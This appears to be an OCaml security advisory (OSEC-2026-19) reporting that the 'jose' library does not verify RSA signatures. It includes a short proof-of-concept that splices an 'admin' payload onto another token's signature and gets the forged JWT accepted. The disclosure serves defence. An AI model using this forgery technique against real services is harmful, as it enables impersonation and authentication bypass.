The opam package "jose" does not validate any RSA signature. It checks the encoding being PKCS1, but does not verify with the public key.
With jose 0.10.0, the code below signs two tokens with the same key and glues one's payload onto the other's signature:
let () = Mirage_crypto_rng_unix.use_default ()
let key =
Jose.Jwk.make_priv_rsa (Mirage_crypto_pk.Rsa.generate ~bits:2048 ())
let sign sub =
Jose.Jwt.sign key ~payload:(`Assoc [ ("sub", `String sub) ])
|> Result.get_ok |> Jose.Jwt.to<http://jose.jwt.to/>_string
let seg n token = List.nth (String.split_on_char '.' token) n
let alice = sign "alice" and admin = sign "admin"
(* alice's header and signature, admin's payload *)
let forged = String.concat "." [ seg 0 alice; seg 1 admin; seg 2 alice ]
match
Jose.Jwt.unsafe_of_string forged
|> Result.get_ok
|> Jose.Jwt.validate ~jwk:(Jose.Jwk.pub_of_priv key) ~now:(Ptime_clock.now ())
with
| Ok t ->
print_endline
("accepted, sub = " ^ Option.get (Jose.Jwt.get_string_claim t "sub"))
| Error _ -> print_endline "rejected"
The dune file:
(executable (name repro)
(libraries jose mirage-crypto-pk mirage-crypto-rng.unix ptime.clock.os))
This prints "accepted, sub = admin".
There is no workaround known.
{
"cwe": [
"CWE-347"
],
"human_link": "https://github.com/ocaml/security-advisories/tree/main/advisories/2026/OSEC-2026-19.md",
"osv": "https://github.com/ocaml/security-advisories/tree/generated-osv/2026/OSEC-2026-19.json"
}